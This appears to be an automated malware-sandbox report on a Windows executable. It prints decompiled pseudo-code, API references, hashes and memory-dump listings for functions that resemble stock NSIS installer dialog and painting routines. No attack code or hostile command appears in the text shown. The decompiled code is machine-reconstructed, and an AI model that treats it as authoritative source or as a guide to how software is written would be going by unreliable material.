0x00402066
0x0040206f
0x00402079
0x00402082
0x0040208c
0x00402090
0x00402090
0x00402095
0x004020a6
0x004020ae
0x0040218e
0x0040218e
0x00402195
0x004020b4
0x004020b4
0x004020c5
0x004020c9
0x004020cf
0x004020d9
0x004020db
0x004020e6
0x004020e9
0x004020f6
0x004020f8
0x004020fa
0x00402101
0x00402104
0x00402104
0x00402107
0x00402111
0x00402119
0x0040211e
0x0040212a
0x0040212a
0x0040212d
0x00402136
0x00402139
0x00402142
0x00402147
0x00402159
0x00402168
0x0040216a
0x00402176
0x00402176
0x00402168
0x00402178
0x0040217e
0x0040217e
0x00402181
0x00402187
0x0040218c
0x004021a1
0x00000000
0x00000000
0x00000000
0x0040218c
0x00402197
0x004028c1
0x004028cd

APIs

CoCreateInstance.OLE32(004073F8,?,00000001,004073E8,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020A6
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409408,00000400,?,00000001,004073E8,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402160

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 004020DE

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 123533781-47812868
Opcode ID: be968ece18af4a8990e49a46ffb91ad691b7d30926a5843cb181693629e4be0f
Instruction ID: c7e9304a010c998f9a7959bd005017a1970e80d3ce8bb7043a01564e87abbd95
Opcode Fuzzy Hash: be968ece18af4a8990e49a46ffb91ad691b7d30926a5843cb181693629e4be0f
Instruction Fuzzy Hash: 32416E75A00205BFCB00DFA8CD88E9E7BB5EF49354F204169F905EB2D1CA799C41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402671, Relevance: 1.5, APIs: 1, Instructions: 29
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00402671(char __ebx, char* __edi, char* __esi) {
				void* _t19;

				if(FindFirstFileA(E00402A29(2), _t19 - 0x19c) != 0xffffffff) {
					E00405AF6(__edi, _t6);
					_push(_t19 - 0x170);
					_push(__esi);
					E00405B98();
				} else {
					 *__edi = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t19 - 4)) = 1;
				}
				 *0x423fc8 =  *0x423fc8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00402689
0x0040269d
0x004026a8
0x004026a9
0x004027e4
0x0040268b
0x0040268b
0x0040268d
0x0040268f
0x0040268f
0x004028c1
0x004028cd

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402680

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 335f766a02d87fc4f144a72dfe7bfeb47f84df3e5a293ec2139a669d47195b1b
Instruction ID: c4b8fb32876d586bcf7df686e34757fa561d471cbaf363f6388d0c393702730c
Opcode Fuzzy Hash: 335f766a02d87fc4f144a72dfe7bfeb47f84df3e5a293ec2139a669d47195b1b
Instruction Fuzzy Hash: 81F0A032A041009ED711EBA49A499EEB7789B11318F60067BE101B21C1C6B859459B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403981, Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00403981(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t115;
				signed int _t116;
				int _t117;
				signed int _t122;
				struct HWND__* _t125;
				struct HWND__* _t126;
				int _t127;
				long _t130;
				int _t132;
				int _t133;
				void* _t134;

				_t115 = _a8;
				if(_t115 == 0x110 || _t115 == 0x408) {
					_t35 = _a12;
					_t125 = _a4;
					__eflags = _t115 - 0x110;
					 *0x42051c = _t35;
					if(_t115 == 0x110) {
						 *0x423f48 = _t125;
						 *0x420530 = GetDlgItem(_t125, 1);
						_t91 = GetDlgItem(_t125, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x41f4f8 = _t91;
						E00403E54(_t125);
						SetClassLongA(_t125, 0xfffffff2,  *0x423728);
						 *0x42370c = E0040140B(4);
						_t35 = 1;
						__eflags = 1;
						 *0x42051c = 1;
					}
					_t122 =  *0x4091ac; // 0xffffffff
					_t133 = 0;
					_t130 = (_t122 << 6) +  *0x423f60;
					__eflags = _t122;
					if(_t122 < 0) {
						L34:
						E00403EA0(0x40b);
						while(1) {
							_t37 =  *0x42051c;
							 *0x4091ac =  *0x4091ac + _t37;
							_t130 = _t130 + (_t37 << 6);
							_t39 =  *0x4091ac; // 0xffffffff
							__eflags = _t39 -  *0x423f64;
							if(_t39 ==  *0x423f64) {
								E0040140B(1);
							}
							__eflags =  *0x42370c - _t133;
							if( *0x42370c != _t133) {
								break;
							}
							__eflags =  *0x4091ac -  *0x423f64; // 0xffffffff
							if(__eflags >= 0) {
								break;
							}
							_t116 =  *(_t130 + 0x14);
							E00405BBA(_t116, _t125, _t130, 0x42c800,  *((intOrPtr*)(_t130 + 0x24)));
							_push( *((intOrPtr*)(_t130 + 0x20)));
							_push(0xfffffc19);
							E00403E54(_t125);
							_push( *((intOrPtr*)(_t130 + 0x1c)));
							_push(0xfffffc1b);
							E00403E54(_t125);
							_push( *((intOrPtr*)(_t130 + 0x28)));
							_push(0xfffffc1a);
							E00403E54(_t125);
							_t49 = GetDlgItem(_t125, 3);
							__eflags =  *0x423fcc - _t133;
							_v32 = _t49;
							if( *0x423fcc != _t133) {
								_t116 = _t116 & 0x0000fefd | 0x00000004;
								__eflags = _t116;
							}
							ShowWindow(_t49, _t116 & 0x00000008);
							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
							E00403E76(_t116 & 0x00000002);
							_t117 = _t116 & 0x00000004;
							EnableWindow( *0x41f4f8, _t117);
							__eflags = _t117 - _t133;
							if(_t117 == _t133) {
								_push(1);
							} else {
								_push(_t133);
							}
							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
							__eflags =  *0x423fcc - _t133;
							if( *0x423fcc == _t133) {
								_push( *0x420530);
							} else {
								SendMessageA(_t125, 0x401, 2, _t133);
								_push( *0x41f4f8);
							}
							E00403E89();
							E00405B98(0x420538, 0x423740);
							E00405BBA(0x420538, _t125, _t130,  &(0x420538[lstrlenA(0x420538)]),  *((intOrPtr*)(_t130 + 0x18)));
							SetWindowTextA(_t125, 0x420538);
							_push(_t133);
							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t130 - _t133;
								if( *_t130 == _t133) {
									continue;
								}
								__eflags =  *(_t130 + 4) - 5;
								if( *(_t130 + 4) != 5) {
									DestroyWindow( *0x423718);
									 *0x41fd08 = _t130;
									__eflags =  *_t130 - _t133;
									if( *_t130 <= _t133) {
										goto L58;
									}
									_t73 = CreateDialogParamA( *0x423f40,  *_t130 +  *0x423720 & 0x0000ffff, _t125,  *(0x4091b0 +  *(_t130 + 4) * 4), _t130);
									__eflags = _t73 - _t133;
									 *0x423718 = _t73;
									if(_t73 == _t133) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t130 + 0x2c)));
									_push(6);
									E00403E54(_t73);
									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
									ScreenToClient(_t125, _t134 + 0x10);
									SetWindowPos( *0x423718, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
									_push(_t133);
									E00401389( *((intOrPtr*)(_t130 + 0xc)));
									__eflags =  *0x42370c - _t133;
									if( *0x42370c != _t133) {
										goto L61;
									}
									ShowWindow( *0x423718, 8);
									E00403EA0(0x405);
									goto L58;
								}
								__eflags =  *0x423fcc - _t133;
								if( *0x423fcc != _t133) {
									goto L61;
								}
								__eflags =  *0x423fc0 - _t133;
								if( *0x423fc0 != _t133) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423718);
						 *0x423f48 = _t133;
						EndDialog(_t125,  *0x41f900);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t130 - _t133;
							if( *_t130 == _t133) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L33;
						}
						SendMessageA( *0x423718, 0x40f, 0, 1);
						__eflags =  *0x42370c;
						return 0 |  *0x42370c == 0x00000000;
					}
				} else {
					_t125 = _a4;
					_t133 = 0;
					if(_t115 == 0x47) {
						SetWindowPos( *0x420510, _t125, 0, 0, 0, 0, 0x13);
					}
					if(_t115 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420510,  ~(_a12 - 1) & _t115);
					}
					if(_t115 != 0x40d) {
						__eflags = _t115 - 0x11;
						if(_t115 != 0x11) {
							__eflags = _t115 - 0x111;
							if(_t115 != 0x111) {
								L26:
								return E00403EBB(_t115, _a12, _a16);
							}
							_t132 = _a12 & 0x0000ffff;
							_t126 = GetDlgItem(_t125, _t132);
							__eflags = _t126 - _t133;
							if(_t126 == _t133) {
								L13:
								__eflags = _t132 - 1;
								if(_t132 != 1) {
									__eflags = _t132 - 3;
									if(_t132 != 3) {
										_t127 = 2;
										__eflags = _t132 - _t127;
										if(_t132 != _t127) {
											L25:
											SendMessageA( *0x423718, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x423fcc - _t133;
										if( *0x423fcc == _t133) {
											_t99 = E0040140B(3);
											__eflags = _t99;
											if(_t99 != 0) {
												goto L26;
											}
											 *0x41f900 = 1;
											L21:
											_push(0x78);
											L22:
											E00403E2D();
											goto L26;
										}
										E0040140B(_t127);
										 *0x41f900 = _t127;
										goto L21;
									}
									__eflags =  *0x4091ac - _t133; // 0xffffffff
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t132);
								goto L22;
							}
							SendMessageA(_t126, 0xf3, _t133, _t133);
							_t103 = IsWindowEnabled(_t126);
							__eflags = _t103;
							if(_t103 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t125, _t133, _t133);
						return 1;
					} else {
						DestroyWindow( *0x423718);
						 *0x423718 = _a12;
						L58:
						if( *0x421538 == _t133 &&  *0x423718 != _t133) {
							ShowWindow(_t125, 0xa);
							 *0x421538 = 1;
						}
						L61:
						return 0;
					}
				}
			}

0x0040398a
0x00403993
0x00403ad4
0x00403ad8
0x00403adc
0x00403ade
0x00403ae3
0x00403aee
0x00403af9
0x00403afe
0x00403b00
0x00403b02
0x00403b05
0x00403b0a
0x00403b18
0x00403b25
0x00403b2c
0x00403b2c
0x00403b2d
0x00403b2d
0x00403b32
0x00403b38
0x00403b3f
0x00403b45
0x00403b47
0x00403b87
0x00403b8c
0x00403b91
0x00403b91
0x00403b96
0x00403b9f
0x00403ba1
0x00403ba6
0x00403bac
0x00403bb0
0x00403bb0
0x00403bb5
0x00403bbb
0x00000000
0x00000000
0x00403bc6
0x00403bcc
0x00000000
0x00000000
0x00403bd5
0x00403bdd
0x00403be2
0x00403be5
0x00403beb
0x00403bf0
0x00403bf3
0x00403bf9
0x00403bfe
0x00403c01
0x00403c07
0x00403c0f
0x00403c15
0x00403c1b
0x00403c1f
0x00403c26
0x00403c26
0x00403c26
0x00403c30
0x00403c42
0x00403c4e
0x00403c53
0x00403c5d
0x00403c63
0x00403c65
0x00403c6a
0x00403c67
0x00403c67
0x00403c67
0x00403c7a
0x00403c92
0x00403c94
0x00403c9a
0x00403caf
0x00403c9c
0x00403ca5
0x00403ca7
0x00403ca7
0x00403cb5
0x00403cc5
0x00403cd6
0x00403cdd
0x00403ce3
0x00403ce7
0x00403cec
0x00403cee
0x00000000
0x00403cf4
0x00403cf4
0x00403cf6
0x00000000
0x00000000
0x00403cfc
0x00403d00
0x00403d25
0x00403d2b
0x00403d31
0x00403d33
0x00000000
0x00000000
0x00403d59
0x00403d5f
0x00403d61
0x00403d66
0x00000000
0x00000000
0x00403d6c
0x00403d6f
0x00403d72
0x00403d89
0x00403d95
0x00403dae
0x00403db4
0x00403db8
0x00403dbd
0x00403dc3
0x00000000
0x00000000
0x00403dcd
0x00403dd8
0x00000000
0x00403dd8
0x00403d02
0x00403d08
0x00000000
0x00000000
0x00403d0e
0x00403d14
0x00000000
0x00000000
0x00000000
0x00403d1a
0x00403cee
0x00403de5
0x00403df1
0x00403df8
0x00000000
0x00403b49
0x00403b49
0x00403b4c
0x00403b7f
0x00403b7f
0x00403b81
0x00000000
0x00000000
0x00000000
0x00403b81
0x00403b4e
0x00403b52
0x00403b57
0x00403b59
0x00000000
0x00000000
0x00403b69
0x00403b71
0x00000000
0x00403b77
0x004039a5
0x004039a5
0x004039a9
0x004039ae
0x004039bd
0x004039bd
0x004039c6
0x004039cf
0x004039da
0x004039da
0x004039e6
0x00403a02
0x00403a05
0x00403a18
0x00403a1e
0x00403ac1
0x00000000
0x00403aca
0x00403a24
0x00403a31
0x00403a33
0x00403a35
0x00403a54
0x00403a54
0x00403a57
0x00403a5c
0x00403a5f
0x00403a6f
0x00403a70
0x00403a72
0x00403aa8
0x00403abb
0x00000000
0x00403abb
0x00403a74
0x00403a7a
0x00403a93
0x00403a98
0x00403a9a
0x00000000
0x00000000
0x00403a9c
0x00403a88
0x00403a88
0x00403a8a
0x00403a8a
0x00000000
0x00403a8a
0x00403a7d
0x00403a82
0x00000000
0x00403a82
0x00403a61
0x00403a67
0x00000000
0x00000000
0x00403a69
0x00000000
0x00403a69
0x00403a59
0x00000000
0x00403a59
0x00403a3f
0x00403a46
0x00403a4c
0x00403a4e
0x00000000
0x00000000
0x00000000
0x00403a4e
0x00403a0a
0x00000000
0x004039e8
0x004039ee
0x004039f8
0x00403dfe
0x00403e04
0x00403e11
0x00403e17
0x00403e17
0x00403e21
0x00000000
0x00403e21
0x004039e6

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039BD
ShowWindow.USER32(?), ref: 004039DA
DestroyWindow.USER32 ref: 004039EE
SetWindowLongA.USER32 ref: 00403A0A
GetDlgItem.USER32 ref: 00403A2B
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403A3F
IsWindowEnabled.USER32(00000000), ref: 00403A46
GetDlgItem.USER32 ref: 00403AF4
GetDlgItem.USER32 ref: 00403AFE
SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403B18
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403B69
GetDlgItem.USER32 ref: 00403C0F
ShowWindow.USER32(00000000,?), ref: 00403C30
EnableWindow.USER32(?,?), ref: 00403C42
EnableWindow.USER32(?,?), ref: 00403C5D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403C73
EnableMenuItem.USER32 ref: 00403C7A
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403C92
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403CA5
lstrlenA.KERNEL32(00420538,?,00420538,00423740), ref: 00403CCE
SetWindowTextA.USER32(?,00420538), ref: 00403CDD
ShowWindow.USER32(?,0000000A), ref: 00403E11

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction ID: 5fd13e9e65c650ae90d185cc2d11acb2e8fe01e0af56b63b73109b0399f4b85d
Opcode Fuzzy Hash: de2fcf6cdcd3bcc1c8429ee21d0de177b3c1a35057383903eb5d37bb8d4e0bda
Instruction Fuzzy Hash: EFC1CF71A04201BBDB20AF61ED85D2B7EBCEB4470AB40453EF541B51E1C73DAA429F5E

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9C, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403F9C(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420518 =  *0x420518 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403EBB(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422ee0;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422ee0
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423f48, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423f48, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420518 != 0) {
						goto L25;
					} else {
						_t112 =  *0x41fd08 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403E76(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404227();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t113 =  *( *0x42371c - 4 + _t113 * 4);
				}
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 +  *0x423f78;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403F68;
				E00403E54(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403E54(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403E76( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403E89(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t86 =  *( *0x423f50 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f4fc =  *0x41f4fc & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420518 =  *0x420518 & 0x00000000;
				return 0;
			}

0x00403fac
0x004040d2
0x0040412e
0x00404132
0x00404209
0x0040420b
0x0040420b
0x00404211
0x00404211
0x00404214
0x00000000
0x0040421b
0x00404140
0x00404142
0x0040414c
0x00404157
0x0040415a
0x0040415d
0x00404168
0x0040416b
0x00404172
0x00404180
0x00404198
0x004041a0
0x004041ab
0x004041bb
0x004041bd
0x004041bd
0x00404172
0x004041c7
0x00000000
0x004041d2
0x004041d6
0x004041e7
0x004041e7
0x004041ed
0x004041fb
0x004041fb
0x00000000
0x004041ff
0x004041c7
0x004040dd
0x00000000
0x004040f1
0x004040f7
0x004040fd
0x00000000
0x00000000
0x00404122
0x00404124
0x00404129
0x00000000
0x00404129
0x004040dd
0x00403fb2
0x00403fb5
0x00403fba
0x00403fcb
0x00403fcb
0x00403fd2
0x00403fd5
0x00403fd7
0x00403fdc
0x00403fe5
0x00403feb
0x00403ff7
0x00403ffa
0x00404003
0x00404008
0x0040400b
0x00404010
0x00404027
0x0040402e
0x00404041
0x00404044
0x00404059
0x00404060
0x00404065
0x0040406a
0x0040406a
0x00404079
0x00404088
0x0040408a
0x004040a0
0x004040af
0x004040b1
0x00000000

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404027
GetDlgItem.USER32 ref: 0040403B
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00404059
GetSysColor.USER32(?), ref: 0040406A
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404079
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404088
lstrlenA.KERNEL32(?), ref: 00404092
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004040A0
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004040AF
GetDlgItem.USER32 ref: 00404112
SendMessageA.USER32(00000000), ref: 00404115
GetDlgItem.USER32 ref: 00404140
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404180
LoadCursorA.USER32 ref: 0040418F
SetCursor.USER32(00000000), ref: 00404198
ShellExecuteA.SHELL32(0000070B,open,.B,00000000,00000000,00000001), ref: 004041AB
LoadCursorA.USER32 ref: 004041B8
SetCursor.USER32(00000000), ref: 004041BB
SendMessageA.USER32(00000111,00000001,00000000), ref: 004041E7
SendMessageA.USER32(00000010,00000000,00000000), ref: 004041FB

Strings

N, xrefs: 0040412E
.B, xrefs: 004041A0
open, xrefs: 004041A3

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open$.B
API String ID: 3615053054-720656042
Opcode ID: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction ID: d52f05746bbb3f3b1d606d9c91532631e65720296560e4ea5c31ec00add49965
Opcode Fuzzy Hash: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction Fuzzy Hash: 0161D571A40309BBEB109F60DD45F6A7B69FB54715F108036FB04BA2D1C7B8AA51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423f50;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x423740, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x423f48;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00423740,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.644142145.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.644129001.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644169382.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.644188351.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644205189.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644212386.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.644217658.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction ID: 81ce27436f0092abe3ce3185f2c65b9207eacd25275343976a1476a18aae1cf1
